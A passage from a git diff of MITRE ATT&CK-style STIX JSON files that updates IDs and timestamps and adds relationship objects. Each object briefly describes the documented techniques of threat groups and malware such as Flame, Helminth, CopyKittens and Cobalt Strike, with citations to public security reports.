                     "source_name": "Kaspersky Sofacy",
                     "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.",
-                    "url": "https://securelist.com/blog/research/72924/sofacy-apt-hits-high-profile-targets-with-updated-toolset/"
+                    "url": "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/"
                 },
                 {
                     "source_name": "ESET Sednit Part 2",
diff --git a/enterprise-attack/relationship/relationship--2858ec3b-5814-4515-9dda-f8009fbf4cd3.json b/enterprise-attack/relationship/relationship--2858ec3b-5814-4515-9dda-f8009fbf4cd3.json
index 1b4c2d3d87..265fa0f1cb 100644
--- a/enterprise-attack/relationship/relationship--2858ec3b-5814-4515-9dda-f8009fbf4cd3.json
+++ b/enterprise-attack/relationship/relationship--2858ec3b-5814-4515-9dda-f8009fbf4cd3.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--bbffccde-0018-424d-9515-5ed76246ddaf",
+    "id": "bundle--7c9c806c-7178-43a2-ab4f-04d3042b9b67",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--2858ec3b-5814-4515-9dda-f8009fbf4cd3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Flame has a module named BeetleJuice that contains Bluetooth functionality that may be used in different ways, including transmitting encoded information from the infected system over the Bluetooth protocol, acting as a Bluetooth beacon, and identifying other Bluetooth devices in the vicinity.",
             "source_ref": "malware--ff6840c9-4c87-4d07-bbb6-9f50aa33d498",
diff --git a/enterprise-attack/relationship/relationship--2864eb81-71a5-4325-b42a-7a725f0c6887.json b/enterprise-attack/relationship/relationship--2864eb81-71a5-4325-b42a-7a725f0c6887.json
index 575494a80f..e01e04c71b 100644
--- a/enterprise-attack/relationship/relationship--2864eb81-71a5-4325-b42a-7a725f0c6887.json
+++ b/enterprise-attack/relationship/relationship--2864eb81-71a5-4325-b42a-7a725f0c6887.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--fd391cba-4808-4676-ac35-46f7821439f5",
+    "id": "bundle--e02c0565-d5e8-4660-be27-f63e8bfba875",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--2864eb81-71a5-4325-b42a-7a725f0c6887",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "MoonWind communicates over ports 80, 443, 53, and 8080 via raw sockets instead of the protocols usually associated with the ports.",
             "source_ref": "malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1",
diff --git a/enterprise-attack/relationship/relationship--2892eada-7633-4428-80e0-0e965d5faf5c.json b/enterprise-attack/relationship/relationship--2892eada-7633-4428-80e0-0e965d5faf5c.json
index 3bea98a366..d326366eb5 100644
--- a/enterprise-attack/relationship/relationship--2892eada-7633-4428-80e0-0e965d5faf5c.json
+++ b/enterprise-attack/relationship/relationship--2892eada-7633-4428-80e0-0e965d5faf5c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--3e021caf-1bce-49e3-8ccd-ee776d2c6283",
+    "id": "bundle--d4a2c630-7256-4471-ad38-9a03ea0d239a",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--2892eada-7633-4428-80e0-0e965d5faf5c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "DustySky has used both HTTP and HTTPS for C2.",
             "source_ref": "malware--687c23e4-4e25-4ee7-a870-c5e002511f54",
diff --git a/enterprise-attack/relationship/relationship--289e01df-60e6-4eee-830e-9d742ac10c86.json b/enterprise-attack/relationship/relationship--289e01df-60e6-4eee-830e-9d742ac10c86.json
index 159cb3a036..f8bf90739e 100644
--- a/enterprise-attack/relationship/relationship--289e01df-60e6-4eee-830e-9d742ac10c86.json
+++ b/enterprise-attack/relationship/relationship--289e01df-60e6-4eee-830e-9d742ac10c86.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e01711b1-b959-4569-85f3-4ffb1874b236",
+    "id": "bundle--b518ab5c-144d-4777-beea-6e8b65ae6566",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--289e01df-60e6-4eee-830e-9d742ac10c86",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.064Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Threat Group-1314 actors spawned shells on remote systems on a victim network to execute commands.",
             "source_ref": "intrusion-set--d519164e-f5fa-4b8c-a1fb-cf0172ad0983",
diff --git a/enterprise-attack/relationship/relationship--28b27852-4125-4639-a07b-0b97dfdb650a.json b/enterprise-attack/relationship/relationship--28b27852-4125-4639-a07b-0b97dfdb650a.json
index cf42de13de..09e4adfd85 100644
--- a/enterprise-attack/relationship/relationship--28b27852-4125-4639-a07b-0b97dfdb650a.json
+++ b/enterprise-attack/relationship/relationship--28b27852-4125-4639-a07b-0b97dfdb650a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--39b67b44-b753-4737-aaae-6401b94d21ae",
+    "id": "bundle--53899d78-62e7-496d-8885-c34bc2b58a52",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--28b27852-4125-4639-a07b-0b97dfdb650a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.035Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT1 has been known to use credential dumping.",
             "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662",
diff --git a/enterprise-attack/relationship/relationship--28f655e0-ac0b-41bc-baaf-9a9987469fe9.json b/enterprise-attack/relationship/relationship--28f655e0-ac0b-41bc-baaf-9a9987469fe9.json
index 71d53e4873..5702b7bd77 100644
--- a/enterprise-attack/relationship/relationship--28f655e0-ac0b-41bc-baaf-9a9987469fe9.json
+++ b/enterprise-attack/relationship/relationship--28f655e0-ac0b-41bc-baaf-9a9987469fe9.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--fe206619-9c13-4f3a-aeb4-7816ae315dd6",
+    "id": "bundle--27d7afc2-44ec-4e37-afb9-ca7a1dcde61f",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--28f655e0-ac0b-41bc-baaf-9a9987469fe9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "MobileOrder uses AES to encrypt C2 communications.",
             "source_ref": "malware--463f68f1-5cde-4dc2-a831-68b73488f8f4",
diff --git a/enterprise-attack/relationship/relationship--2902ccff-873a-4ebc-bdf4-caaae629ae9d.json b/enterprise-attack/relationship/relationship--2902ccff-873a-4ebc-bdf4-caaae629ae9d.json
new file mode 100644
index 0000000000..698678415e
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--2902ccff-873a-4ebc-bdf4-caaae629ae9d.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--7355368b-002c-4312-a51a-196c4bed76e0",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--2902ccff-873a-4ebc-bdf4-caaae629ae9d",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "has communicated to its C2 server over port 8080.",
+            "source_ref": "malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08",
+            "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e",
+            "external_references": [
+                {
+                    "source_name": "US-CERT Volgmer Nov 2017",
+                    "description": "US-CERT. (2017, November 22). Alert (TA17-318B): HIDDEN COBRA \u2013 North Korean Trojan: Volgmer. Retrieved December 7, 2017.",
+                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-318B"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--290a1ceb-68e1-42ae-be81-f474038aaa05.json b/enterprise-attack/relationship/relationship--290a1ceb-68e1-42ae-be81-f474038aaa05.json
index 2a7390b4b9..39c7f5f721 100644
--- a/enterprise-attack/relationship/relationship--290a1ceb-68e1-42ae-be81-f474038aaa05.json
+++ b/enterprise-attack/relationship/relationship--290a1ceb-68e1-42ae-be81-f474038aaa05.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--af2a6679-17a8-496b-97fe-0765ef7253a6",
+    "id": "bundle--d4b0c6cf-e67a-4339-9626-506d204c3221",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--290a1ceb-68e1-42ae-be81-f474038aaa05",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Some resources in Prikormka are encrypted with a simple XOR operation or encoded with Base64.",
             "source_ref": "malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69",
diff --git a/enterprise-attack/relationship/relationship--290c0a54-2702-4d6e-97db-1eafa9a7a1f3.json b/enterprise-attack/relationship/relationship--290c0a54-2702-4d6e-97db-1eafa9a7a1f3.json
index 66a6ef09b1..f22df8c5da 100644
--- a/enterprise-attack/relationship/relationship--290c0a54-2702-4d6e-97db-1eafa9a7a1f3.json
+++ b/enterprise-attack/relationship/relationship--290c0a54-2702-4d6e-97db-1eafa9a7a1f3.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--3f7f24a3-ef71-45e4-8e17-83ba0146a84a",
+    "id": "bundle--cfa1ad16-8f63-45e7-885e-22c272939263",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--290c0a54-2702-4d6e-97db-1eafa9a7a1f3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Cobalt Strike's \"beacon\" payload can receive C2 from one protocol and respond on another.  This is typically a mixture of HTTP, HTTPS, and DNS traffic.",
             "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39",
diff --git a/enterprise-attack/relationship/relationship--290c4e3b-00be-411f-b0c8-919e85e08a49.json b/enterprise-attack/relationship/relationship--290c4e3b-00be-411f-b0c8-919e85e08a49.json
index 70b2bfcc82..d4aba254b2 100644
--- a/enterprise-attack/relationship/relationship--290c4e3b-00be-411f-b0c8-919e85e08a49.json
+++ b/enterprise-attack/relationship/relationship--290c4e3b-00be-411f-b0c8-919e85e08a49.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--8c5f16a7-2fdc-4815-8fe2-654d486e4b71",
+    "id": "bundle--99cb9688-cb8f-4743-9c07-3d10eadb926c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--290c4e3b-00be-411f-b0c8-919e85e08a49",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Prikormka contains a module that captures screenshots of the victim's desktop.",
             "source_ref": "malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69",
diff --git a/enterprise-attack/relationship/relationship--291b7fbf-5b5f-460a-8009-cadb383b3262.json b/enterprise-attack/relationship/relationship--291b7fbf-5b5f-460a-8009-cadb383b3262.json
index d2a5590120..21c16e7c9f 100644
--- a/enterprise-attack/relationship/relationship--291b7fbf-5b5f-460a-8009-cadb383b3262.json
+++ b/enterprise-attack/relationship/relationship--291b7fbf-5b5f-460a-8009-cadb383b3262.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--55825ecf-a481-4469-b755-6ac08d723b9c",
+    "id": "bundle--5f5670c5-cb64-4fcd-824f-d648a88d8f90",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--291b7fbf-5b5f-460a-8009-cadb383b3262",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "HTTPBrowser's code may be obfuscated through structured exception handling and return-oriented programming.",
             "source_ref": "malware--e066bf86-9cfb-407a-9d25-26fd5d91e360",
diff --git a/enterprise-attack/relationship/relationship--291df761-474b-4c5f-a9bd-2aaef0f80d70.json b/enterprise-attack/relationship/relationship--291df761-474b-4c5f-a9bd-2aaef0f80d70.json
index 9a12c459d2..299dec8c6c 100644
--- a/enterprise-attack/relationship/relationship--291df761-474b-4c5f-a9bd-2aaef0f80d70.json
+++ b/enterprise-attack/relationship/relationship--291df761-474b-4c5f-a9bd-2aaef0f80d70.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--ed0b2d8b-2a1a-4f2f-8dbc-797fa7143537",
+    "id": "bundle--f19262f9-8adc-404e-9c39-f457cec686b5",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--291df761-474b-4c5f-a9bd-2aaef0f80d70",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Unknown Logger is capable of spreading to USB devices.",
             "source_ref": "malware--ab3580c8-8435-4117-aace-3d9fbe46aa56",
diff --git a/enterprise-attack/relationship/relationship--292b2a10-ebee-4fbb-b359-2eee16aa46ba.json b/enterprise-attack/relationship/relationship--292b2a10-ebee-4fbb-b359-2eee16aa46ba.json
new file mode 100644
index 0000000000..dd7b57ae49
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--292b2a10-ebee-4fbb-b359-2eee16aa46ba.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--100b4a1d-fd95-4772-8dde-21af0c10a6f8",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--292b2a10-ebee-4fbb-b359-2eee16aa46ba",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "CopyKittens encrypts data with a substitute cipher prior to exfiltration.",
+            "source_ref": "intrusion-set--dcd81c6e-ebf7-4a16-93e0-9a97fa49c88a",
+            "target_ref": "attack-pattern--d54416bd-0803-41ca-870a-ce1af7c05638",
+            "external_references": [
+                {
+                    "source_name": "CopyKittens Nov 2015",
+                    "description": "Minerva Labs LTD and ClearSky Cyber Security. (2015, November 23). CopyKittens Attack Group. Retrieved September 11, 2017.",
+                    "url": "https://s3-eu-west-1.amazonaws.com/minervaresearchpublic/CopyKittens/CopyKittens.pdf"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--2a0b74b3-cbc3-45fa-aba4-eabdb0cb89b5.json b/enterprise-attack/relationship/relationship--2a0b74b3-cbc3-45fa-aba4-eabdb0cb89b5.json
index d8a1685dea..d925a83a12 100644
--- a/enterprise-attack/relationship/relationship--2a0b74b3-cbc3-45fa-aba4-eabdb0cb89b5.json
+++ b/enterprise-attack/relationship/relationship--2a0b74b3-cbc3-45fa-aba4-eabdb0cb89b5.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--dd13d062-7710-4a76-a68e-fb3a05b58b9c",
+    "id": "bundle--bc4e8577-cf47-4d96-8711-9759a6a209d5",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--2a0b74b3-cbc3-45fa-aba4-eabdb0cb89b5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.024Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--addb3703-5a59-4461-9bcd-7e2b5d4e92a0",
             "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6",
diff --git a/enterprise-attack/relationship/relationship--2a220ca3-88f4-40eb-8041-184c412950d4.json b/enterprise-attack/relationship/relationship--2a220ca3-88f4-40eb-8041-184c412950d4.json
index b85836fab0..e79540f6ad 100644
--- a/enterprise-attack/relationship/relationship--2a220ca3-88f4-40eb-8041-184c412950d4.json
+++ b/enterprise-attack/relationship/relationship--2a220ca3-88f4-40eb-8041-184c412950d4.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--ca9b269f-a5e5-417e-8277-156035c778f8",
+    "id": "bundle--7520a375-8934-4c68-91fb-003a6bea9f15",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--2a220ca3-88f4-40eb-8041-184c412950d4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.054Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050",
             "target_ref": "tool--b77b563c-34bb-4fb8-86a3-3694338f7b47",
diff --git a/enterprise-attack/relationship/relationship--2a7cd52f-46e5-4a18-bdf6-4c38edfcb97c.json b/enterprise-attack/relationship/relationship--2a7cd52f-46e5-4a18-bdf6-4c38edfcb97c.json
new file mode 100644
index 0000000000..74954de351
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--2a7cd52f-46e5-4a18-bdf6-4c38edfcb97c.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--9901da42-e0bb-4a99-9bfc-5e1c89da138b",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--2a7cd52f-46e5-4a18-bdf6-4c38edfcb97c",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Helminth establishes persistence by creating a shortcut in the Start Menu folder.",
+            "source_ref": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e",
+            "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc",
+            "external_references": [
+                {
+                    "source_name": "Palo Alto OilRig May 2016",
+                    "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.",
+                    "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--2a7d01e9-9c42-4d17-947a-629ca7a9d515.json b/enterprise-attack/relationship/relationship--2a7d01e9-9c42-4d17-947a-629ca7a9d515.json
index 81899a1420..e9d8e2c0e4 100644
--- a/enterprise-attack/relationship/relationship--2a7d01e9-9c42-4d17-947a-629ca7a9d515.json
+++ b/enterprise-attack/relationship/relationship--2a7d01e9-9c42-4d17-947a-629ca7a9d515.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--151b258a-bff4-4739-809b-71362666908d",
+    "id": "bundle--cf2a85f1-0238-4cc6-bc48-1bdfe42e6994",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--2a7d01e9-9c42-4d17-947a-629ca7a9d515",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Elise executes <code>net start</code> after initial communication is made to the remote server.",
             "source_ref": "malware--7551188b-8f91-4d34-8350-0d0c57b2b913",
diff --git a/enterprise-attack/relationship/relationship--2a8f0313-4059-42b9-b487-6c8f860588c0.json b/enterprise-attack/relationship/relationship--2a8f0313-4059-42b9-b487-6c8f860588c0.json
index 92d5edc576..1f75fcf40c 100644
--- a/enterprise-attack/relationship/relationship--2a8f0313-4059-42b9-b487-6c8f860588c0.json
+++ b/enterprise-attack/relationship/relationship--2a8f0313-4059-42b9-b487-6c8f860588c0.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--13bc253f-abcf-4465-994b-dec79a613810",
+    "id": "bundle--3b2d3b3f-9e3c-4c17-bfe4-cfa46c0ca59c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--2a8f0313-4059-42b9-b487-6c8f860588c0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "ADVSTORESHELL encrypts with the 3DES algorithm and a hardcoded key prior to exfiltration.",
             "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73",
diff --git a/enterprise-attack/relationship/relationship--2a93ea80-d0f6-4b81-887d-8911f7573245.json b/enterprise-attack/relationship/relationship--2a93ea80-d0f6-4b81-887d-8911f7573245.json
index 624cfeb00f..b670a29b80 100644
--- a/enterprise-attack/relationship/relationship--2a93ea80-d0f6-4b81-887d-8911f7573245.json
+++ b/enterprise-attack/relationship/relationship--2a93ea80-d0f6-4b81-887d-8911f7573245.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--fc30fcfd-b65c-424a-b22f-957f8910edbc",
+    "id": "bundle--6700f8aa-4f43-4542-bea3-ba5774e69615",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--2a93ea80-d0f6-4b81-887d-8911f7573245",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.061Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Threat Group-3390 actors have used DLL side-loading. Actors have used legitimate Kaspersky anti-virus variants in which the DLL acts as a stub loader that loads and executes the shell code.",
             "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
diff --git a/enterprise-attack/relationship/relationship--2ade8c03-2395-4175-9a22-8541836f27cd.json b/enterprise-attack/relationship/relationship--2ade8c03-2395-4175-9a22-8541836f27cd.json
index ed31f237c2..2ebcf98eac 100644
--- a/enterprise-attack/relationship/relationship--2ade8c03-2395-4175-9a22-8541836f27cd.json
+++ b/enterprise-attack/relationship/relationship--2ade8c03-2395-4175-9a22-8541836f27cd.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--f787c621-2503-48fe-8255-0753cc5fd14e",
+    "id": "bundle--a9cda2a7-dd2f-4ef2-82a9-684cf51927b4",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--2ade8c03-2395-4175-9a22-8541836f27cd",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "ChChes can alter the victim's proxy configuration.",
             "source_ref": "malware--dc5d1a33-62aa-4a0c-aa8c-589b87beb11e",
diff --git a/enterprise-attack/relationship/relationship--2af3c673-c0c6-4246-aacc-984eb370e7b9.json b/enterprise-attack/relationship/relationship--2af3c673-c0c6-4246-aacc-984eb370e7b9.json
new file mode 100644
index 0000000000..c9186a96f1
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--2af3c673-c0c6-4246-aacc-984eb370e7b9.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--544cbca4-01f4-488a-8268-9a993ccf6517",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--2af3c673-c0c6-4246-aacc-984eb370e7b9",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "FIN5 scripts save memory dump data into a specific directory on hosts in the victim environment.",
+            "source_ref": "intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022",
+            "target_ref": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e",
+            "external_references": [
+                {
+                    "source_name": "Mandiant FIN5 GrrCON Oct 2016",
+                    "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.",
+                    "url": "https://www.youtube.com/watch?v=fevGZs0EQu8"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--2b2cdb6b-c23c-4792-8cfb-8c4d9279a186.json b/enterprise-attack/relationship/relationship--2b2cdb6b-c23c-4792-8cfb-8c4d9279a186.json
index fbed44d545..3e465f994b 100644
--- a/enterprise-attack/relationship/relationship--2b2cdb6b-c23c-4792-8cfb-8c4d9279a186.json
+++ b/enterprise-attack/relationship/relationship--2b2cdb6b-c23c-4792-8cfb-8c4d9279a186.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--9cec01ec-263b-4e63-a32d-9b72f1d23653",
+    "id": "bundle--18cfd87f-ea62-4283-b7c2-fce6c80b35c3",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--2b2cdb6b-c23c-4792-8cfb-8c4d9279a186",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BUBBLEWRAP can communicate using HTTP or HTTPS.",
             "source_ref": "malware--123bd7b3-675c-4b1a-8482-c55782b20e2b",
diff --git a/enterprise-attack/relationship/relationship--2b469307-a635-4392-a18f-ed1f24b3a684.json b/enterprise-attack/relationship/relationship--2b469307-a635-4392-a18f-ed1f24b3a684.json
new file mode 100644
index 0000000000..862d9f7c39
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--2b469307-a635-4392-a18f-ed1f24b3a684.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--20eb64ce-735d-468b-81b3-9be35795a897",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--2b469307-a635-4392-a18f-ed1f24b3a684",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Cobalt Strike can deliver Beacon payloads for lateral movement by leveraging remote COM execution.",
+            "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39",
+            "target_ref": "attack-pattern--772bc7a8-a157-42cc-8728-d648e25c7fe7",
+            "external_references": [
